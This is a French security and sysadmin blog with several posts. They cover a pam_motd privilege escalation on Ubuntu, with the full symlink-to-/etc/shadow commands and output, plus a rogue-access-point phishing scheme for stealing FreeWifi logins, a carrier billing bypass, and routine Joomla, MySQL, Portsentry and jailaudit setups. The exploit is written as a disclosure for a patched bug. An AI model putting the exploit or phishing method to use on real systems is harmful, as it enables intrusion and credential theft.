cloud's Blog

La vulnérabilité du jour concerne le module pam_motd sur Ubuntu 9.10 et 10.04 et a été trouvée par Denis Excoffier

Ce module sert à afficher le /etc/motd lors d'une connexion d'un user. A la première connexion d'un user, le module pam_motd va créé un fichier ~/.cache/motd.legal-notice afin de ne pas réafficher le motd lors des futures connexions. Seulement le module a des privilèges important et du coup va modifier les droits si on remplace le répertoire .cache/ par un lien sympbolique vers le fichier de son choix ayant meme les droits root. Ainsi si l'on souhaite modifier le /etc/shadow afin de modifier le pass root il suffit de faire :

cloud@pentest:~$ ls -l /etc/shadow
-rw-r----- 1 root root 1362 2010-07-08 19:31 /etc/shadow
cloud@pentest:~$ rm -rf .cache
cloud@pentest:~$ ln -s /etc/shadow .cache
cloud@pentest:~$ ssh localhost
cloud@localhost's password: 
Linux pentest 2.6.31-22-generic #60-Ubuntu SMP Thu May 27 00:22:23 UTC 2010 i686

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
..................
..................
Last login: Thu Jul  8 20:47:58 2010 from localhost
cloud@pentest:~$ ls -l /etc/shadow
-rw-r----- 1 cloud cloud 1362 2010-07-08 19:31 /etc/shadow

Mettez a jour votre distrib.

Have fun.

J'avais testé vite fait en 2008 d'installer un Joomla derrière un Reverse Proxy sans succès. Aujourd'hui j'ai encore eu ce besoin donc j'ai un peu plus insisté pour finalement y arriver. Voici comment :

L'architecture ressemble à ceci :

client ------- RP Apache (mod_proxy + mod_security) ---------- Nginx

1er test pour etre sur que le problème vient de Joomla, j'ajoute une page vide dans le répertoire du site et je test d'y accéder avec succès. Le problème vient donc bien du CMS.

Joomla indique depuis la version 1.5.1 que la configuration a été simplifiée pour etre utilisé derrière un RP. Cependant personnellement je n'ai pas réussi comme eux le préconise. Pour moi il suffit juste d'indiquer dans le fichier configuration.php la valeur de la variable $live_site en donnant l'url publique. Après plusieurs tests, rien n'y fait. Ca ne marche pas.

Je ne suis pas un utilisateur aguerri de Joomla donc après quelques recherches, je suis tombé sur cette explication. J'ai test mais sans succès. Voyant que c'est quand meme ce fichier uri.php qui semble générer tous les liens du site et les appels divers, j'ai testé de le modifier en insérant l'url en dur et la : Bingo !

Il faut donc modifier la page /home/sitejoomla/libraries/joomla/environment/uri.php en modifiant la variable $_SERVER['HTTP_HOST'] par l'adresse du site public en dur comme ceci :

 * Since we are assigning the URI from the server variables, we first need
 * to determine if we are running on apache or IIS.  If PHP_SELF and REQUEST_URI
 * are present, we will assume we are running on apache.
 */
if (!empty ($_SERVER['PHP_SELF']) && !empty ($_SERVER['REQUEST_URI'])) {

		/*
		 * To build the entire URI we need to prepend the protocol, and the http host
		 * to the URI string.
		 */
		$theURI = 'http' . $https . 'www.site-public.com' . $_SERVER['REQUEST_URI'];

Have fun.

J'ai constaté que tous les scripts PHP utilisant MySQL stockaient le mot de passe MySQL en clair dans le code. Le risque est donc qu'en exploitant une LFI ou si un pirate arrive à avoir un shell sur le serveur, il lui suffira de lire les script php pour obtenir le pass MySQL et se connecter à cette base via un phpmyadmin par exemple.

J'ai donc essayer de trouver les différentes méthodes pour ne pas donner son mot de passe MySQL en clair.

La première solution consiste à utiliser le mod_env et les variables d'environnement d'Apache. Il suffit d'ajouter dans le fichier de config du VirtualHost de son site la variable comme ceci :

SetEnv passmysql "voicilepass"

Pour se connecter à MySQL, il suffira alors de mettre dans son code PHP la ligne suivante :

$con = mysql_connect($host, $login, $_SERVER['passmysql']);

Le pass ne sera donc plus dans le code ce qui est un peu mieux. L'inconvénient est que le pass est toujours visualisable si le pirate fouille un peu et va voir dans la conf d'Apache. De plus le pass apparaitra dans le phpinfo() car cette fonction récapitule les variables d'environnement Apache.

J'ai donc pensé à une 2e méthode.

L'objectif est de partager une variable accessible par tous les processus utilisant PHP. Pour cela il existe les sémaphores !

Nous allons donc commencer par créer un script launch.php initialisant la sémaphore et ajoutant la variable $pass_mysql dans la mémoire partagée :

<?php
$pass_mysql = "mot_de_passe";

$shm_id = shm_attach(1);
if ($shm_id === false)
{
    echo "Fail to attach shared memory.\n";
}
//On ajoute $pass_mysql dans la memoire partagee
if (!shm_put_var($shm_id, $pass_mysql, $pass_mysql))
{
    echo "Failed to put var 1 in shared memory $shm_id.\n";
}
?>

Maintenant que le mot de passe est partagé, nous pouvons supprimer le fichier :

# rm launch.php

Créons ensuite le fichier de connexion à MySQL qui utilisera alors la variable stockée dans la mémoire partagée :

<?php
$shm_id = shm_attach(1);
if ($shm_id === false)
{
    echo "Fail to attach shared memory.\n";
}
//Recuperation du pass mysql dans la memoire partagee
$pass = shm_get_var($shm_id, $pass_mysql); 

$con = mysql_connect('localhost', 'root', $pass);
mysql_select_db('test');

$req = "select * from `table` where id=1";
$res = mysql_query($req);
$ligne = mysql_fetch_array($res);
echo $ligne['nom'];
?>

Et voila nous avons une configuration opérationnelle et qui permet de ne pas stocker dans un fichier en clair le pass de sa base de donnée MySQL.

Le seul inconvénient est qu'il faudra réuploader le fichier launch.php à chaque redémarrage de la machine et relancer celui ci en pensant à bien le supprimer ensuite.

Google a récemment mis en place du HTTPS sur son moteur de recherche. C'est bien sur une bonne nouvelle pour la confidentialité de nos informations mais en meme temps une bien mauvaise chose pour évaluer quels sont les mots clés utilisés pour accéder à notre site. En effet la RFC 2616 indique la consigne suivante :

Clients SHOULD NOT include a Referer header field in a (non-secure) HTTP request if the referring page was transferred with a secure protocol. 

Cela indique donc clairement qu'un Referer ne doit pas etre envoyé dans une requete HTTP sécurisée.

Ce qui est étonnant c'est que pour un fournisseur d'une solution de statistiques, cela va à l'encontre de l'utilité de leur produit Google Analytics... a moins qu'ils aient déjà travaillé sur le sujet et que leur base de stats ne se remplissent non plus à la visite du site mais directement lors d'une recherche sur le moteur Google et la ca serait un coup fatal pour tous les autres outils de stats !

Je ferais bientot quelques test pour voir ce qu'il en ait mais je soupsonne Google de faire un gros coup :)

Portsentry est un outil permettant de détecter une tentative de connexion frauduleuse et permettant de réagir immédiatement, généralement en bloquant l'ip tentant de se connecter via une règle firewall.

Portsentry est disponible via les ports FreeBSD mais ne propose qu'une configuration par défaut en utilisant le firewall ipfw. Hors personnellement je ne jure que par PF. Je vais donc vous présenter rapidement comment l'utiliser avec PF.

Nous allors donc commencer par préparer notre firewall PF en ajoutant les lignes suivantes dans /etc/pf.conf :

table <antiscan> persist
block in quick from <antiscan>

Nous avons donc ici créé une table appelée antiscan qui bloquera immédiatement (quick) toutes les IP contenues dedans.

On recharge PF :

#pfctl -f /etc/pf.conf

Nous allons ensuite configuré portsentry afin que celui ci bloque immédiatement une IP tentant de se connecter à un port surveillé.
Pour cela nous allons ajouter la ligne suivante dans /usr/local/etc/portsentry.conf :

KILL_RUN_CMD="pfctl -t antiscan -T add $TARGET$"

On redémarre portsentry.

Testons de nous connecter sur le port 22 de la machine qui est surveillé :

[cloud@r00t ~]$ ssh site_cible.com
ssh_exchange_identification: Connection closed by remote host

Observons maintenant la table antiscan du serveur site_cible.com

site_cible.com# pfctl -t antiscan -T show
   82.168.247.31

Mon IP apparait bien dans la table et est donc maintenant bloqué.

Portsentry ne bloque pas tous les scan de ports mais il permet d'etre un bon moyen de protection contre des attaques ciblées car bloquera automatiquement la personne qui fouinera les différents ports apparaissants ouverts.

Hadopi va bientot envoyer ses 1er mails malgré le fait qu'il ait été démontré maintes et maintes fois qu'il était impossible de certifier qu'un utilisateur était derrière une IP... Bref tout le monde a déjà pris ses VPN à l'étranger, pris son compte en direct download, rempli ses listes de newsgroup ... On va compléter ici la liste avec un moyen tout simple d'usurper l'identité de quelqu'un.

Les gens "normaux" sont de plus en plus sensibilisés au phishing et à détecter un site frauduleux. Pour cela ils se basent en général sur des éléments basiques, l'url, les fautes d'orthographes ou encore les informations demandées. En effet 99,9% des phishing remontés par les clients de banques sont basés sur ces infos. Jamais une erreur de certificats sur le site officiel (bien que cela soit arrivé) n'a par exemple était remontée. Dans ce cas la, si le certificat change ou est périmé, le client va juste l'accepter et continuer à utiliser son site. C'est beaucoup du à la maladie du "Suivant OK" de Windows. Le réflexe est de cliquer pour que ca marche.

Nous allons donc utiliser cela pour piéger tout simplement un utilisateur Free.

En effet, Free propose d'activer sur sa Freebox HD d'activer le FreeWifi afin que n'importe qui puisse se connecter sur Internet avec ses identifiants. Le réseau a toujours le même nom, FreeWifi et l'interface est toujours la meme. Il suffit donc de créer une rogue AP, de recopier l'interface de connexion FreeWifi et de rediriger toutes les requetes vers cette page. Pas besoin de s'embéter à mettre du SSL, 9 personnes sur 10 se fera avoir donc c'est largement rentable. Si vraiment vous êtes maniaques, vous pouvez générer un certificat autosigné et cela suffira. Un endroit comme un aéroport ou un lycée fera un endroit parfait pour alors récupérer ces données

Vous n'avez plus qu'à rentrer chez vous et vous connecter à votre FreeWifi avec ces identifiants.

En cherchant un peu sur le net, on se rend compte que cela a bien sur été relevé donc doit déjà etre pratiqué.

Bien sur ceci n'a pour but d'expliquer que des identifiants ou des IP ne pourront jamais assurer l'identité d'une personne.
En aucun cas je n'incite à faire cela :) . Cela devrait marcher pour les utilisateurs Neuf aussi.

Les 1eres jurisprudences vont etre assez sympathiques à suivre je pense mais malheureusement sans surprises.

Pour vous protéger controler bien le certificat utilisé, c'est le seul moyen de détecter une fausse AP !

Un petit rappel pour vous signaler que ce mois ci est le mois des bugs PHP avec au moins une nouvelle vulnérabilité par jour. Les explications sont en prime bien faites avec une explication de la vulnérabilité depuis le code source de PHP ainsi qu'un PoC par vuln. Bref que du bon pour se faire la main et comprendre comment chercher une vulnérabilité dans un interpréteur.

Donc pour suivre cela, allez sur le site http://php-security.org durant tout le mois de Mai.

Une petite astuce pour éviter de se prendre la tete que j'ai constaté appliquée sur python.org (mais surement pas avec un script php :) )

On a souvent besoin d'ajouter un moteur de recherche sur son site. Hors un moteur de recherche est une application complexe en terme d'algorithme pour avoir quelque chose de vraiment performant. De plus c'est fréquemment une fonctionnalité vulnérable à des failles XSS.
Donc pour éviter les problèmes, autant déléguer cette tache au spécialiste du moteur de recherche : Google !

Pour cela rien de plus simple, on crée un formulaire avec un champs de rechercheet on redirige le résultat vers Google via une url du genre pour mon blog :

http://www.google.com/search?hl=fr&domains=blog.madpowah.org&sitesearch=blog.madpowah.org&q=freebsd+apache&btnG=Rechercher&sitesearch=blog.madpowah.org

Il faut mettre le nom de son site pour les variables domains et sitesearch et mettre à la variable q sa recherche en remplacant les espaces par des +

Voici un script d'exemple : google.php

<?php
if (isset($_POST["ok"])){
	if ($_POST["ok"] === "ok") {
		$search = trim(htmlspecialchars($_POST["search"]));
		$search = str_replace(" ", "+", $search);
		$url = 'http://www.google.com/search?hl=fr&domains=blog.madpowah.org&sitesearch=blog.madpowah.org&q=' . $search . '&btnG=Rechercher';
		header('Location: ' . $url);
	}
}
?>
<form action="google.php" method="POST">
	<input type="text" name="search" />
	<input type="submit" name="ok" value="ok" />
</form>

Vous avez maintenant le plus puissant des moteurs de recherche sur votre site :)

Il est important de connaitre les vulnérabilités de son système. Sous FreeBSD, l'utilitaire portaudit permet de connaitre la liste des logiciels ou librairie pour lesquels il a été trouvé des vulnérabilités. Seulement personnellement, j'utilise quasiment toujours des jails sur mes systèmes et avais pour habitude d'installer portaudit dans chaque jail alors qu'il y a beaucoup plus simple !

En effet l'utilitaire jailaudit permet d'exécuter portaudit depuis le système hote sur chaque jail et d'envoyer le résultat à l'adresse email de son choix ou sur stdout. Il se base sur la commande jls pour récupérer la liste des jails, télécharge la base de vulnérabilités et exécute portaudit pour chaque jail avant d'envoyer le rapport. Il est très simple d'utilisation.

On commence par télécharger la base de vulnérabilités et exécuter portaudit via un jailaudit generate :

systeme_hote# jailaudit generate
                                
Downloading a current audit database:
auditfile.tbz                                 100% of   60 kB   69 kBps
New database installed.         
Database created: Sun Apr 25 19:50:01 CEST 201

La commande va générer un fichier de rapport poru chaque jail et le stocker dans /usr/local/jailaudit/reports/. On va alors envoyer ses rapports à l'adresse de notre choix via la commande jailaudit mail :

systeme_hote# jailaudit mail - ALL
portaudit for jails on systeme_hote - 6 problem(s) found.

portaudit for jail: jail1 (JID: 2)

Affected package: xxxxxxxx
 ................

2 problem(s) found.

portaudit for jail: jail2 (JID: 1)
.........

Le "-" va afficher sur stdout le résultat. Pour envoyer un email, il suffit de le remplacer par une adresse :

systeme_hote# jailaudit mail email@domaine.com ALL

On met tout ça dans un cron et c'est automatisé :)

Orange propose 2 forfaits pour utiliser Internet, l'Origami Star et l'Origami Star iPhone. L'avantage du second est de permettre de récupérer ses emails directement depuis l'application Mail sans hors forfait. Par contre il coute 7euros de plus. Certes il est tout à fait possible d'utiliser un webmail mais ce n'est pas le plus pratique. Pour bypasser cela il y a une technique bien plus simple, il suffit de vous connecter à votre serveur mail sur un port considéré comme "gratuit" par Orange comme par exemple le HTTPS. En effet il semble que le controle ne soit basé que sur le port et non le protocole utilisé derrière.

Donc je vais faire très simple, je vais rediriger toute entrée sur mon serveur par le port 443 vers ma jail contenant mon serveur imap ssl tournant sur le port. Avec PF cela donne la règle suivante :

rdr on $ext_if proto tcp from any to any port 443 -> 192.168.1.30 port 993

Bien sur tout cela impose d'avoir son propre serveur de mail pour effectuer cette redirection. Il serait également possible de modifier le port du serveur imap ssl.
Les ports que j'ai constaté ouverts et gratuits avec mon forfait Origami Star sont les 21, 80 et 443.